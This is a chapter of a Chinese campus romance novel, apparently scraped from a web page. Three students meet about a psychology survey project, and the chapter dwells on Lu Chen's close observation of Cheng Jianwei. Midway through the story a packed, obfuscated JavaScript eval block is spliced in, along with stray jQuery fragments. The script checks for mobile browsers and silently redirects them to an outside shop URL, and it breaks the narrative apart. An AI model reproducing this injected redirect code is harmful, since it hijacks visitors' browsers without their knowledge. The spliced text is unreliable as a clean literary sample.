下午两点四十五分，经管学院302会议室外的走廊空无一人。
陆忱站在走廊尽头的窗边，垂眸看着手表。秒针精准滑过数字12。14:46。距离会议开始还有十四分钟。
他习惯提前到场，不是为了准备，而是需要时间——建立对环境的掌控感需要安静的铺垫。灯光亮度、座位布局、空气的流动、灰尘在阳光中的轨迹，这些变量在人声涌入后会变得难以校准。
这是林修远教他的方法之一。“当你感到焦虑时，先控制你能控制的物理环境。灯光、温度、座位——把这些变量固定下来，你的内心就会获得一些秩序。”
陆忱转身，黑色大衣的衣摆划出一道利落的弧线，布料摩擦发出细微声响。他推开会议室的门。
室内只有两个人。
陈默背对着门在调试投影仪，数据线缠成了一团乱麻，他正手忙脚乱地试图解开，耳尖微微泛红——那是焦躁的生理信号。
然后他的视线移向窗边。
程见微坐在那里。
米白色的羊绒毛衣，质感细腻柔软，领口恰到好处地露出清晰的锁骨线条和一段白皙的脖颈。黑色长裤剪裁利落，勾勒出修长的腿部轮廓。她今天把头发松松地扎成了低丸子头，几缕碎发垂在耳侧，被午后的日光染成淡金色，像某种珍贵的金属丝。
她正低头看笔记本，右手握着一支银色钢笔——笔身有细微的划痕，说明经常使用。笔尖在纸页上匀速移动，发出几乎听不见的沙沙声。阳光从侧面照进来，在她睫毛上投下细密的阴影，琥珀色的眼睛低垂着，专注得仿佛周遭一切都不存在。
陆忱的脚步在门口停滞了半秒。
不是因为美——虽然他必须承认，这个画面的确具有某种美学上的和谐——而是因为那种奇怪的……结构性完整。她的姿势、光线角度、桌面物品的摆放位置、笔记本翻开的角度，一切都处在一种精确的平衡中，像经过精心设计的构图。
这种感觉已经不是第一次了。
“陆、陆忱？”陈默终于发现了他，急忙站直，手中的数据线又缠紧了一圈，“你来了……投影仪好像有点问题，HDMI接口……”
“让开。”陆忱说，声音平稳得像陈述句。
陈默下意识退开半步。陆忱走到投影仪旁，俯身检查。问题很简单：线插错了端口，而且接口处有灰尘。他拔下线缆，从口袋里取出酒精棉片——随身携带，用于清洁电子设备接口——擦拭端口，然后重新插入正确的位置，按下开关。
投影仪亮起，墙面出现清晰的电脑桌面。
整个过程用时十一秒。
“好了。”他说，直起身时，余光扫过程见微的方向。
她已经抬起了头，正看向他。目光平静，没有惊讶，没有赞叹，只是安静地看着，像在观察一个标准操作流程的执行结果。她的眼神里没有任何情绪波动，只有纯粹的观察。
陆忱走向会议桌另一端，放下黑色皮质背包。他选择的位置正对着程见微，中间隔着三米长的桌面——足够的安全距离，但视线可以直接相接，便于观察她的微表情变化。
他脱下黑色大衣，动作很轻地搭在椅背上，露出里面的深灰色衬衫。衬衫熨帖得没有一丝褶皱，袖口处有极细的银色袖扣，刻着不明显的藤蔓暗纹——这是母亲留下的遗物之一，他只在重要场合佩戴。
虽然只是小组交流，但——
他拉开椅子坐下。打开笔记本电脑，登录，调出项目文件夹。一连串操作行云流水，指尖敲击键盘的节奏稳定得像节拍器，每个按键的力度都均匀。
“我们开始吧。”他说，声音在安静的会议室里显得格外清晰，带着一点金属质感的冷。
陈默连忙回到座位，清了清嗓子，声音里还带着刚才手忙脚乱的余悸：“好、好的。那我先讲问卷设计的第一版迭代……”
会议正式开始。
陆忱身体微微后靠，左手搭在桌沿，右手放在触控板上。他听着陈默的讲解，目光落在投影画面上那些精心设计的量表条目和抽样方案上，但注意力同时在两个层面运作：
表层：评估问卷设计的理论框架是否严谨，抽样方法是否合理，问题设置是否存在引导性偏差。陈默做得不错——心理学系前三名的扎实功底，每个设计选择都有文献支撑，只是表达时有些紧张，语速偏快。他提到了“潜在剖面分析”的应用构想，准备在数据清洗完成后用这种方法识别不同的心理特征亚组。
这个思路很正确。陆忱在心里记下一笔：陈默的理论功底扎实，只是缺乏大型项目的实践经验。
深层：观察对面那个人。
程见微的坐姿几乎没有变化——脊背挺直但不僵硬，肩膀放松，左手压在笔记本边缘，右手握笔随时准备记录。她的眼神很专注，偶尔在陈默讲到关键处时会轻微点头，幅度很小，几乎看不出来，像精密仪器的指针微微震颤。
但陆忱看见了。
他注意到她的笔记本上字迹工整，段落分明，使用了某种自定义的符号系统：三角形表示待办事项，圆圈表示已完成，波浪线标注不确定项。注意到她在听到复杂概念时眉头会微微蹙起——不是困惑，而是思考时的专注，眉心的皮肤出现极细的纹路。注意到她喝水时拧开保温杯的动作很轻，几乎没有声音，嘴唇碰到杯沿时有一个短暂的停顿，似乎在测试水温。
这一切都太过……规范。
规范得像经过长期训练形成的肌肉记忆。不是大学一年级学生该有的熟练度，更像是——专业人士的日常。
陆忱的右手食指在触控板上轻轻敲了一下，一个无意识的动作。这是他大脑在高速处理信息时的习惯性动作，像某种思维的外在节拍。
“——所以我们在前测阶段会招募五十名志愿者，收集初步数据后调整问题表述。”陈默结束了自己的部分，推了推眼镜，看向程见微，“技术实现方面，程同学有什么补充吗？特别是你上周提到的数据清洗自动化流程。”
程见微放下笔。
钢笔落在纸页上，发出一声轻响。她的手指修长，骨节分明，指甲修剪得很干净，没有涂任何颜色，边缘整齐得像用尺子量过。
“数据清洗的自动化脚本已经完成了第一版。”她的声音平和清晰，像温水流过光滑的石面，“基于Python的Pandas和NumPy库，主要处理逻辑包括：缺失值识别与多重插补、异常值检测与处理、量表一致性检验。算法会在每个处理阶段生成详细的日志文件，方便回溯。”
她顿了顿，补充道：“关于陈默刚才提到的潜在剖面分析，我已经查阅了相关文献。这种方法确实适合我们的数据特点——可以处理类别变量和连续变量的混合，也不需要提前假设类别数量。我建议用Mple软件实现，它的EM算法收敛性更好。”
陆忱的手指停止了敲击。
她不仅做了，而且做得比他预想的更深入。不仅仅是技术实现，还包括方法论的选择和优化——这已经超出了“完成任务”的范畴，更像是……真正的专业投入。
“你的依据？”他问，声音比平时低半个度，他自己察觉到了这个变化。
程见微转头看向他，目光平静，琥珀色的眼睛在光线中呈现出某种透明的质感：“我对比了Mple和R的Clast包在模拟数据上的表现。当样本量在300左右、变量超过15个时，Mple的BIC值更稳定，分类结果的一致性也更高。这是对比结果。”
她共享了一个文件到小组群里。
陆忱点开。那是一份详细的算法对比报告，数据可视化清晰，统计检验完整，结论明确。报告末尾甚至附上了可复现的代码和原始数据。
完美。
太完美了。
完美得让他产生一种微妙的……不适。不是怀疑她的能力，而是这种能力呈现的方式——像一张被精心打磨过的面具，每一个角度都无可挑剔，反而让人想找到裂缝。
这个认知让陆忱的胃部微微收紧——熟悉的、轻微的不适感，像有一只无形的手在那里轻轻按压。他把左手移到腹部，很自然地搭在那里，用掌心的温度缓解那细微的痉挛。
程见微的目光在他的手上停留了0.5秒，然后移开。
她看见了。陆忱知道她看见了。但她什么都没说。
“响应式设计做了吗？”他继续问，把话题拉回技术细节，“问卷界面需要在不同设备上正常显示。”
“做了。”程见微调出另一个界面，“测试了三种主流尺寸的手机屏幕，确保选项按钮不会误触。触控区域的最小尺寸是44x44像素，符合WCAG无障碍标准。对于视力障碍用户，还设置了高对比度模式选项。”
“兼容性测试呢？”
“Chrome、Safari、Firefox的最新三个版本都已通过。Edge有部分CSS渲染差异，但功能正常。IE已经放弃支持——用户占比低于0.3%，不值得投入。”
她的回答没有迟疑，每个数据都精确到小数点后一位，像背诵经过反复验证的实验结果。
陆忱的右手食指又在触控板上敲了一下。指腹与玻璃表面摩擦，发出细微的沙沙声。这是他情绪波动的早期信号之一，通常出现在遇到意料之外的精准答案时。
“预计最大并发量？”他继续问，问题层层递进，像在测试一台机器的极限负载。
程见微的表情没有任何变化。她的眼神依然平静，但瞳孔有轻微的收缩，这是深度思考时的生理反应。
“保守估计两百人同时在线。”她说，语速平稳，“服务器端我预留了扩容接口，基于Docker容器化部署，如果超过预期，可以在五分钟内横向扩展资源。流量监控脚本已经写好，阈值报警会发送到项目组邮箱。”
会议室安静了几秒。
陈默看看程见微，又看看陆忱，张了张嘴似乎想说什么，但最终只是推了推眼镜，低头在自己的笔记本上记了什么——陆忱瞥见那是一行潦草的字：“要补服务器和算法知识”。
陆忱重新靠回椅背，双手交叠放在身前。这个姿势让他看起来更加疏离，像一座难以接近的雕塑。
这是个积极的信号。
意味着他认可了她的方案，或者至少，认可了她的专业严谨程度。
“可以。”他说，然后转向陈默，“问卷的第七题，李克特量表的表述需要修改。‘非常不同意’到‘非常同意’中间应该有明确的描述锚点，避免主观解释偏差。参考Likert1932年的原始设计，或者用语义差异量表替代。”
陈默急忙记录，笔尖在纸上划出沙沙声：“好的好的，我改。语义差异量表的话……用几对形容词比较合适？”
“五到七对。”程见微接话，声音依然平稳，“建议选择情感效价明确的反义词对，比如‘友好-敌对’‘有效-无效’。避免使用‘复杂-简单’这类中性词。”
陈默抬头看她，眼神里有一闪而过的感激：“好，我记下了。见微你懂得真多……这些技术细节我完全没想到。”
他叫她“见微”了。
陆忱的左手在腹部又轻轻按了一下。胃部的不适感没有加剧，但也没有消失，像某种缓慢燃烧的余烬。
“基础要求。”程见微说，语气里没有任何骄傲或谦逊，只是陈述事实。</p
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17018875|193824||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>
陆忱看着她。
她的侧脸在阳光下轮廓分明，鼻梁投下浅浅的阴影。她的嘴唇微微抿着，那是她在克制某种情绪时的习惯动作——陆忱已经记录过三次了。第一次是在心理学课堂上，林修远讲到“情感隔离的代价”时；第二次是在搏击工作室，她打完那套令人惊艳的组合拳后；第三次是现在。
她到底在克制什么？
会议继续。
接下来的一个半小时里，陆忱大部分时间在听，偶尔提问。他的问题总是切中要害：样本的代表性问题（“如果只招募H大学生，结论的普适性如何保证？”）、数据清洗的边界条件（“缺失值超过多少比例应该剔除整份问卷？”）、伦理审查的潜在风险（“如何确保参与者知情同意书不被诱导签署？”）。
而每次他提出问题，程见微几乎都能立刻给出回应——不是简单的“我会注意”，而是具体的、可操作的解决方案。她说话时不疾不徐，每个观点都有数据或文献支撑，没有多余的解释，直击核心，像精准的手术刀。
陆忱发现自己开始期待她的回答。
不是期待内容本身——那些技术细节他大多已经想到——而是期待那种……确定性。在这个充满模糊和不确定的世界里，她的存在像一道清晰的坐标轴，每个点都有明确定义，每个向量都有明确方向。与她对话不需要猜测潜台词，不需要解读表情背后的情绪，一切都在明面上。
这是一种令人上瘾的清晰。
就像他自己渴望成为的那种人——理性、稳定、可预测。
但他做不到。他内心有太多暗涌，太多无法命名的情绪，太多连自己都无法理解的冲动。所以他用理性的外壳包裹它们，用精准的语言掩饰它们，用疏离的距离保护自己不被看穿。
而程见微……她似乎真的就是这样的人。
或者说，她伪装得太好。
会议进行到四点半，陈默讲完最后一页PPT，长舒一口气，摘下眼镜揉了揉眉心：“基本就是这些了。数据收集的时间安排，我们怎么定？目前清洗进度已经完成了70%，再有一周应该就能进入潜在剖面分析阶段。”
“10月下旬启动正式收集。”陆忱说，目光扫过日程表投影，“节前完成问卷终版和预测试。程见微，你的算法对接需要多久？”
程见微正在笔记本上记录什么，闻言抬起头。阳光此刻正好移动到她脸上，琥珀色的眼睛在光线中呈现出一种透明的质感，像浸泡在清水里的蜂蜜，又像某种珍贵的矿物。
她的瞳孔里映出会议室的倒影，也映出他的。
“算法框架已经完成。”她说，声音在安静的房间里显得格外清晰，“基于潜在剖面分析的聚类模块已经调试完毕，可以处理多类别混合数据。问卷确定后，两天内可以完成数据接口对接和初步测试。”
陆忱看着她，这次看得比较久。
大约四秒钟——足够完成一次完整的微表情分析。
他注意到她的瞳孔在光线下轻微收缩，注意到她说话时下唇微微抿了一下——这是个细微的紧张信号，但转瞬即逝，被她平稳的呼吸节奏掩盖。
他还注意到，她的毛衣领口处有一根头发掉落在肩膀上，是深棕色的，在米白色羊毛上格外显眼。但她似乎没有察觉。
那根头发很细，在光线下几乎透明。
他想提醒她，但没有开口。
有什么阻止了他。不是社交焦虑，不是犹豫，而是……某种更微妙的东西。他想看看她什么时候会发现，想观察她发现自己仪容不整时的反应，想收集那个瞬间的变化。
“好。”他说，移开视线，转向陈默，“你的部分最晚周三给我终版。有问题随时沟通。”
“没问题！”陈默用力点头，然后看向程见微，脸上露出一个真诚的笑容，“程同学，刚才你提到的那个多线程数据导入的优化方案，能不能……晚点发我学习一下？我想补补技术短板。还有潜在剖面分析那块，我也需要多理解一下算法原理。”
他的语气很自然，带着学生之间常见的请教口吻。但陆忱注意到——他的身体微微倾向程见微的方向，脚尖也对准她，这是兴趣和好感的肢体信号。而且他保持了这个姿势长达十五秒，直到程见微回答才稍微调整。
程见微点头，表情没有任何变化：“可以。我整理成文档发群里，包括核心算法的数学推导和代码注释。”
“太好了！”陈默的笑容更明显了，眼睛弯起来，露出一排整齐的牙齿，“对了，我刚才过来的时候，看到三食堂新开了家甜品店，他们家的提拉米苏好像很不错。会议开了这么久，大家饿不饿？要不……我请客？”
他看向程见微，眼神里带着期待，那种小心翼翼的、生怕被拒绝的期待。他的手指无意识地摩挲着笔记本的边缘，指关节微微发白。
陆忱的手指在桌下微微收紧。
桌面的木纹在掌心留下细微的压痕。他感觉到自己的呼吸节奏发生了变化——吸气变浅，呼气延长，这是身体在应对压力时的自动调节。但他脸上没有任何表情，就像戴着一张完美无瑕的面具。
这是一个测试。对陈默来说，可能只是善意的邀请。但对陆忱来说——他在观察程见微的反应。
她会怎么回答？
接受？拒绝？礼貌地婉拒？
程见微沉默了两秒。这两秒里，她的目光在陈默脸上停留，评估他的表情和肢体语言，然后很自然地转向陆忱，像在征求共识——虽然她完全没有必要这么做。
那一眼很短，不到一秒，但陆忱捕捉到了。
她在看他。在决定如何回应另一个男人的邀请时，她看了他一眼。